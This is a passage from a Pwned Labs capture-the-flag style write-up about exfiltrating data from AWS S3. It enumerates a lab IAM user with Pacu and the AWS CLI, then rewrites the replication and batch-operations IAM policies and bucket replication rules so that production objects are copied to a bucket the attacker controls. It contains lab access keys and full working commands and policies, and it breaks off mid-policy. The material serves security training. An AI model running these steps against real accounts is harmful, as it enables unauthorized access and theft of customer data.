Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data

Scenario

During the external part of the assessment for a client, you identified credentials stored in a zip file for an AWS IAM user. Use these credentials and show the client the impact of this breach!

Learning Outcomes

  • Modify S3 bucket replication settings to exfiltrate new data
  • Modify S3 batch operations settings to exfiltrate existing data
  • Manual S3 enumeration and rights testing
  • Identifying attack vectors with manual IAM enumeration
  • Identifying assigned IAM permissions using aws-enumerator

AWS Access Credentials

Access Keys: AKIAUSHNW2N36BBJBMQF
Secret Access Keys: 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


This write up doesn’t follow the specific walkthrough as my intention was to find multiple ways to be able to complete the same activity which, in my opinion, is one of the major differentiators for Pwned Labs is that there are multiple ways to achieve the end objective.

I did respawn this lab a couple of times during the documentation so if you notice any different Account ID’s or S3 bucket names, this is the reason why.

As we have been provided with credentials, the first thing we have to do is configure our profile and confirm that they are valid.

❯ aws configure --profile pentester
AWS Access Key ID [****************HZLI]: AKIAUSHNW2N36BBJBMQF
AWS Secret Access Key [****************hY3c]: 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
Default region name [None]:
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDAUSHNW2N33LJ7TPUPP",
    "Account": "314031133559",
    "Arn": "arn:aws:iam::314031133559:user/tier2_eng"
}

We are going to start the enumeration initially with pacu to increase our familiarity with the tool. When we launch it, we need to create a project and then import our keys. Once this has been completed, we can run the whoami command to verify that this has worked successfully.

Pacu (pwnedlabs-s3repl:No Keys Set) > import_keys pentester
  Imported keys as "imported-pentester"
Pacu (pwnedlabs-s3repl:imported-pentester) >
Pacu (pwnedlabs-s3repl:imported-pentester) > whoami
{
  "UserName": null,
  "RoleName": null,
  "Arn": null,
  "AccountId": null,
  "UserId": null,
  "Roles": null,
  "Groups": null,
  "Policies": null,
  "AccessKeyId": "AIDAUSHNW2N33LJ7TPUPP",
  "SecretAccessKey": "bzLI8l7//wSXRJvmvPVf********************",
  "SessionToken": null,
  "KeyAlias": "imported-pentester",
  "PermissionsConfirmed": null,
  "Permissions": {
    "Allow": {},
    "Deny": {}
  }
}

We have verified that our credentials work and next we will brute force IAM permissions by running the command run iam__bruteforce_permissions which takes a while and produces a lot of output on the screen. The following is the summary

[iam__bruteforce_permissions] Allowed Permissions:

  ec2:
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview

  s3:
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets

  logs:
    get_log_record
    get_log_record
    get_log_record
    get_log_record

<--- snip --->

[iam__bruteforce_permissions] iam__bruteforce_permissions completed.

[iam__bruteforce_permissions] MODULE SUMMARY:

Services:
  Supported: ['ec2', 's3', 'logs'].
  Unsupported: [].
  Unknown: 116.
116 allow permissions found.
116 unknown permissions found.
960 deny permissions found.

We have commenced enumeration of IAM and we didn’t have any rights to view our permissions, but we were able to enumerate our roles and policies

Pacu (pwnedlabs-s3repl:imported-pentester) > run iam__enum_users_roles_policies_groups
  Running module iam__enum_users_roles_policies_groups...
[iam__enum_users_roles_policies_groups] No Users Found
[iam__enum_users_roles_policies_groups]   FAILURE: MISSING NEEDED PERMISSIONS
[iam__enum_users_roles_policies_groups] Found 10 roles
[iam__enum_users_roles_policies_groups] Found 5 policies
[iam__enum_users_roles_policies_groups] No Groups Found
[iam__enum_users_roles_policies_groups]   FAILURE: MISSING NEEDED PERMISSIONS
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.

[iam__enum_users_roles_policies_groups] MODULE SUMMARY:

  0 Users Enumerated
  10 Roles Enumerated
  5 Policies Enumerated
  0 Groups Enumerated
  IAM resources saved in Pacu database.

We run the data command to get more details about what was found and can see some data relating to S3 replication and batch operations that will come in handy later as we progress through the lab.

Pacu (pwnedlabs-s3repl:imported-pentester) > data

Session data:
aws_keys: [
    <AWSKey: imported-pentester>
]
id: 1
created: "2024-06-18 03:22:41.520676"
is_active: true
name: "pwnedlabs-s3repl"
key_alias: "imported-pentester"
access_key_id: "AKIA2MIMMWORU5YCHZLI"
secret_access_key: "******" (Censored)
session_regions: [
    "all"
]
IAM: {
    "Roles": [
        {
            "Path": "/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/",
            "RoleName": "AWSServiceRoleForCostOptimizationHub",
            "RoleId": "AROA2MIMMWORWDVMMFWKH",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/AWSServiceRoleForCostOptimizationHub",
            "CreateDate": "Wed, 20 Mar 2024 04:56:19",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "cost-optimization-hub.bcm.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/organizations.amazonaws.com/",
            "RoleName": "AWSServiceRoleForOrganizations",
            "RoleId": "AROA2MIMMWORQTTDATFLP",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations",
            "CreateDate": "Thu, 08 Jun 2023 08:14:10",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "organizations.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Service-linked role used by AWS Organizations to enable integration of other AWS services with Organizations.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/servicequotas.amazonaws.com/",
            "RoleName": "AWSServiceRoleForServiceQuotas",
            "RoleId": "AROA2MIMMWOR6TUQGSARV",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/servicequotas.amazonaws.com/AWSServiceRoleForServiceQuotas",
            "CreateDate": "Thu, 08 Jun 2023 08:24:13",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "servicequotas.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "A service-linked role is required for Service Quotas to access your service limits.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/sso.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSSO",
            "RoleId": "AROA2MIMMWOR6KASA6Z42",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO",
            "CreateDate": "Thu, 08 Jun 2023 08:14:23",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "sso.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Service-linked role used by AWS SSO to manage AWS resources, including IAM roles, policies and SAML IdP on your behalf.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/support.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSupport",
            "RoleId": "AROA2MIMMWORZK4TJGXTU",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
            "CreateDate": "Thu, 08 Jun 2023 08:14:08",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "support.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Enables resource access for AWS to provide billing, administrative and support services",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
            "RoleName": "AWSServiceRoleForTrustedAdvisor",
            "RoleId": "AROA2MIMMWORZHM2AVJYI",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
            "CreateDate": "Thu, 08 Jun 2023 08:14:08",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "trustedadvisor.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "OrganizationAccountAccessRole",
            "RoleId": "AROA2MIMMWORXJEGBQA3H",
            "Arn": "arn:aws:iam::713527440291:role/OrganizationAccountAccessRole",
            "CreateDate": "Thu, 08 Jun 2023 08:14:08",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::036528129738:root"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "s3-inventory-role",
            "RoleId": "AROA2MIMMWORTN5PSQDTA",
            "Arn": "arn:aws:iam::713527440291:role/s3-inventory-role",
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "s3.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "s3_batch_operations_role",
            "RoleId": "AROA2MIMMWORVCBIBCB2G",
            "Arn": "arn:aws:iam::713527440291:role/s3_batch_operations_role",
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "batchoperations.s3.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "s3_replication_role_for_source_bucket",
            "RoleId": "AROA2MIMMWORS3OEBPPLH",
            "Arn": "arn:aws:iam::713527440291:role/s3_replication_role_for_source_bucket",
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "s3.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
    ],
    "Policies": [
        {
            "PolicyName": "s3_batch_operations_policy",
            "PolicyId": "ANPA2MIMMWOR2SL2FN4D6",
            "Arn": "arn:aws:iam::713527440291:policy/s3_batch_operations_policy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:34",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:34"
        },
        {
            "PolicyName": "tier2_eng_permissions",
            "PolicyId": "ANPA2MIMMWOR67XGQFCTY",
            "Arn": "arn:aws:iam::713527440291:policy/tier2_eng_permissions",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:33",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:33"
        },
        {
            "PolicyName": "securitySecretAccess",
            "PolicyId": "ANPA2MIMMWOR6CFXCGRJL",
            "Arn": "arn:aws:iam::713527440291:policy/securitySecretAccess",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:31"
        },
        {
            "PolicyName": "s3_inventory_policy",
            "PolicyId": "ANPA2MIMMWORWOPMFOAMO",
            "Arn": "arn:aws:iam::713527440291:policy/s3_inventory_policy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:33",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:33"
        },
        {
            "PolicyName": "s3_replication_policy",
            "PolicyId": "ANPA2MIMMWORZNEFHA2KG",
            "Arn": "arn:aws:iam::713527440291:policy/s3_replication_policy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:34",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:34"
        }
    ]
}

Firstly, lets look at what S3 buckets are available with our current credentials.

❯ aws --profile pentester s3 ls | awk '{print $3}'
cust-txn-prod-4c8691723a37
cust-txn-replica-4c8691723a37
s3-secure-backup-4c8691723a37

Whilst, there are only 3 buckets and we could do this manually, we will write a quick bash one-liner to go through these and see if there is any content

for i in $(aws --profile pentester s3 ls | awk '{print $3}'); do echo "Bucket: $i" && aws --profile pentester s3 ls s3://$i ; done

Bucket: cust-txn-prod-4c8691723a37

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Bucket: cust-txn-replica-4c8691723a37

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Bucket: s3-secure-backup-4c8691723a37

You will note that we didn’t get an access denied on the bucket s3-secure-backup-ca699a35556d which means that we have at least list permissions.

We will see what other permissions we have by trying to upload and then download a file.

❯ aws --profile pentester s3 cp message.txt s3://s3-secure-backup-ca699a35556d
upload: ./message.txt to s3://s3-secure-backup-ca699a35556d/message.txt

❯ aws --profile pentester s3 ls s3://s3-secure-backup-ca699a35556d
2024-06-18 12:32:52         19 message.txt

❯ aws --profile pentester s3 cp s3://s3-secure-backup-ca699a35556d/message.txt message1.txt
download: s3://s3-secure-backup-ca699a35556d/message.txt to ./message1.txt

We have been successful both uploading and downloading from this bucket and in summary we have ListBucket, PutObject and GetObject permissions. Let’s test the other buckets.

for i in $(aws --profile pentester s3 ls | awk '{print $3}' | grep -ve '^s3'); do echo "Bucket: $i" && aws --profile pentester s3 cp message.txt s3://$i ; done
Bucket: cust-txn-prod-4c8691723a37
upload: ./message.txt to s3://cust-txn-prod-4c8691723a37/message.txt
Bucket: cust-txn-replica-4c8691723a37
upload: ./message.txt to s3://cust-txn-replica-4c8691723a37/message.txt

for i in $(aws --profile pentester s3 ls | awk '{print $3}' | grep -ve '^s3'); do echo "Bucket: $i" && aws --profile pentester s3 cp s3://$i/message.txt $i ; done
Bucket: cust-txn-prod-4c8691723a37
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
Bucket: cust-txn-replica-4c8691723a37
download: s3://cust-txn-replica-4c8691723a37/message.txt to ./cust-txn-replica-4c8691723a37

The following is a summary of our permissions on all the buckets.

Bucket ListObject PutObject GetObject
cust-txn-prod-ca699a35556d x
cust-txn-replica-ca699a35556d x x
s3-secure-backup-ca699a35556d x x x

You will recall earlier that when we ran Pacu that there was an “s3_batch_operations_policy”. Batch operations are a “managed solution for performing storage actions like copying and tagging objects at scale, whether for one-time tasks or for recurring, batch workloads.”

To get a better understanding of the configuration we query the bucket and we can see that the bucket is configured for cross-region replication which is managed by the IAM role s3_replication_role_for_source_bucket. It replicates all objects as notated by Prefix: "" to the replica bucket with a time of 15 minutes with replication metrics enabled and deletion marker disabled.

❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
    "ReplicationConfiguration": {
        "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
        "Rules": [
            {
                "ID": "replicateAll",
                "Priority": 1,
                "Filter": {
                    "Prefix": ""
                },
                "Status": "Enabled",
                "Destination": {
                    "Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
                    "StorageClass": "STANDARD",
                    "ReplicationTime": {
                        "Status": "Enabled",
                        "Time": {
                            "Minutes": 15
                        }
                    },
                    "Metrics": {
                        "Status": "Enabled",
                        "EventThreshold": {
                            "Minutes": 15
                        }
                    }
                },
                "DeleteMarkerReplication": {
                    "Status": "Disabled"
                }
            }
        ]
    }
}

This opens up a couple of possible attack vendors based on the permissions that we have:

Attack 1 - Use Replication Policies to exfiltrate new S3 objects

We get the details of the S3 Replication Policy and then look at the current configuration

❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy
{
    "Policy": {
        "PolicyName": "s3_replication_policy",
        "PolicyId": "ANPAUSHNW2N3VYTCZB4ZP",
        "Arn": "arn:aws:iam::314031133559:policy/s3_replication_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2024-06-19T01:13:40+00:00",
        "UpdateDate": "2024-06-19T01:13:40+00:00",
        "Tags": []
    }
}

❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --version-id v1

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:ListBucket",
                        "s3:GetReplicationConfiguration",
                        "s3:GetObjectVersionTagging",
                        "s3:GetObjectVersionForReplication",
                        "s3:GetObjectVersionAcl",
                        "s3:GetObjectRetention",
                        "s3:GetObjectLegalHold"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
                        "arn:aws:s3:::cust-txn-replica-4c8691723a37",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37/*",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37"
                    ]
                },
                {
                    "Action": [
                        "s3:ReplicateTags",
                        "s3:ReplicateObject",
                        "s3:ReplicateDelete",
                        "s3:ObjectOwnerOverrideToBucketOwner"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
                    ]
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-06-19T01:13:40+00:00"
    }
}

We shall use the following malicious policy document in which we change the Resource to remove the replica bucket as the target and add the s3-secure-backup bucket which we have full control over.

{
  "Statement": [
      {
          "Action": [
              "s3:ListBucket",
              "s3:GetReplicationConfiguration",
              "s3:GetObjectVersionTagging",
              "s3:GetObjectVersionForReplication",
              "s3:GetObjectVersionAcl",
              "s3:GetObjectRetention",
              "s3:GetObjectLegalHold"
          ],
          "Effect": "Allow",
          "Resource": [
              "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
              "arn:aws:s3:::cust-txn-replica-4c8691723a37",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37/*",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37"
          ]
      },
      {
          "Action": [
              "s3:ReplicateTags",
              "s3:ReplicateObject",
              "s3:ReplicateDelete",
              "s3:ObjectOwnerOverrideToBucketOwner"
          ],
          "Effect": "Allow",
          "Resource": [
              "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
          ]
      }
  ],
  "Version": "2012-10-17"
}

We then upload this policy document

❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --policy-document file://s3_replication_policy.json --set-as-default
{
    "PolicyVersion": {
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2024-06-19T02:25:04+00:00"
    }
}

Next we have to see if we are able to modify the Replication Rules and we will first try to change the Name of the rule. The following is the modified JSON file in which we have just modified the ID value.

{
  "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
  "Rules": [
      {
          "ID": "replicateAll-test",
          "Priority": 1,
          "Filter": {
              "Prefix": ""
          },
          "Status": "Enabled",
          "Destination": {
              "Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
              "StorageClass": "STANDARD",
              "ReplicationTime": {
                  "Status": "Enabled",
                  "Time": {
                      "Minutes": 15
                  }
              },
              "Metrics": {
                  "Status": "Enabled",
                  "EventThreshold": {
                      "Minutes": 15
                  }
              }
          },
          "DeleteMarkerReplication": {
              "Status": "Disabled"
          }
      }
  ]
}

We uploaded the policy and got no errors.

❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json

We check the policy to be sure, and we can confirm that we have permissions to modify.

❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
    "ReplicationConfiguration": {
        "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
        "Rules": [
            {
                "ID": "replicateAll-test",
                "Priority": 1,
                "Filter": {
                    "Prefix": ""
                },
                "Status": "Enabled",
                "Destination": {
                    "Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
                    "StorageClass": "STANDARD",
                    "ReplicationTime": {
                        "Status": "Enabled",
                        "Time": {
                            "Minutes": 15
                        }
                    },
                    "Metrics": {
                        "Status": "Enabled",
                        "EventThreshold": {
                            "Minutes": 15
                        }
                    }
                },
                "DeleteMarkerReplication": {
                    "Status": "Disabled"
                }
            }
        ]
    }
}

We have confirmed that we have access to modify the Replication Rules and shall modify the replication target to change the replication target.

{
  "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
  "Rules": [
      {
          "ID": "replicateAll-test",
          "Priority": 1,
          "Filter": {
              "Prefix": ""
          },
          "Status": "Enabled",
          "Destination": {
              "Bucket": "arn:aws:s3:::s3-secure-backup-4c8691723a37",
              "StorageClass": "STANDARD",
              "ReplicationTime": {
                  "Status": "Enabled",
                  "Time": {
                      "Minutes": 15
                  }
              },
              "Metrics": {
                  "Status": "Enabled",
                  "EventThreshold": {
                      "Minutes": 15
                  }
              }
          },
          "DeleteMarkerReplication": {
              "Status": "Disabled"
          }
      }
  ]
}

We follow the sames steps as earlier and confirm the changes have been applied

❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json

❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
    "ReplicationConfiguration": {
        "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
        "Rules": [
            {
                "ID": "replicateAll-test",
                "Priority": 1,
                "Filter": {
                    "Prefix": ""
                },
                "Status": "Enabled",
                "Destination": {
                    "Bucket": "arn:aws:s3:::s3-secure-backup-4c8691723a37",
                    "StorageClass": "STANDARD",
                    "ReplicationTime": {
                        "Status": "Enabled",
                        "Time": {
                            "Minutes": 15
                        }
                    },
                    "Metrics": {
                        "Status": "Enabled",
                        "EventThreshold": {
                            "Minutes": 15
                        }
                    }
                },
                "DeleteMarkerReplication": {
                    "Status": "Disabled"
                }
            }
        ]
    }
}

We will now test this is working correctly by uploading a new file to the production bucket and then see if we are able to retrieve it from the s3-secure-backup bucket.

❯ aws --profile pentester s3 cp new_message.txt s3://cust-txn-prod-4c8691723a37
upload: ./new_message.txt to s3://cust-txn-prod-4c8691723a37/new_message.txt

❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37
2024-06-19 11:01:02         48 new_message.txt

Success! Anything that now goes into the production bucket will be replicated to our bucket including any sensitive or financial data.

Use Batch-Ops to exfiltrate existing S3 objects

It is reasonable to think that if we have permissions to change S3 replication configuration that we would have the same with regards to Batch Operations. We will first get details on the policy and its configuration

❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy
{
    "Policy": {
        "PolicyName": "s3_batch_operations_policy",
        "PolicyId": "ANPAUSHNW2N32HBDH3K5M",
        "Arn": "arn:aws:iam::314031133559:policy/s3_batch_operations_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for S3 Batch Operations",
        "CreateDate": "2024-06-19T01:13:40+00:00",
        "UpdateDate": "2024-06-19T01:13:40+00:00",
        "Tags": []
    }
}

❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:InitiateReplication",
                        "s3:GetReplicationConfiguration",
                        "s3:PutInventoryConfiguration"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
                    ]
                },
                {
                    "Action": [
                        "s3:GetObject",
                        "s3:GetObjectVersion",
                        "s3:PutObject"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
                },
                {
                    "Action": "s3:PutObject",
                    "Effect": "Allow",
                    "Resource": "arn:aws:s3:::cust-txn-replica-4c8691723a37/*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-06-19T01:13:40+00:00"
    }
}

With a copy of the policy, we shall modify it to allow the action s3:PutObject to allow access to the s3-secure-bucket

{
  "Statement": [
      {
          "Action": [
              "s3:InitiateReplication",
              "s3:GetReplicationConfiguration",
              "s3:PutInventoryConfiguration"
          ],
          "Effect": "Allow",
          "Resource": [
              "arn:aws:s3:::cust-txn-prod-4c8691723a37",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
          ]
      },
      {
          "Action": [
              "s3:GetObject",
              "s3:GetObjectVersion",
              "s3:PutObject"
          ],
          "Effect": "Allow",
          "Resource": "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
      },
      {
          "Action": "s3:PutObject",
          "Effect": "Allow",
          "Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*"
      }
  ],
  "Version": "2012-10-17"
}

We then upload the modified policy document and see that this is successful and the VersionId is incremented.

❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --policy-document file://s3_batch_operations_policy.json
{
    "PolicyVersion": {
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2024-06-19T03:34:48+00:00"
    }
}

Next we need to set permissions on the s3-secure-bucket and to help with that, we will copy the policy from the replica and use that as our base.

❯ aws --profile pentester s3api get-bucket-policy --bucket cust-txn-replica-4c8691723a37 | jq -r '.Policy' | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "s3.amazonaws.com"
      },
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
      "Condition": {
        "StringEquals": {
          "aws:SourceAccount": "036528129738",
          "s3:x-amz-acl": "bucket-owner-full-control"
        },
        "ArnLike": {
          "aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
        }
      }
    }
  ]
}

We modify this by updating the Resource from the replica bucket to the s3-secure-bucket.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "s3.amazonaws.com"
      },
      "Action": "s3:PutObject",
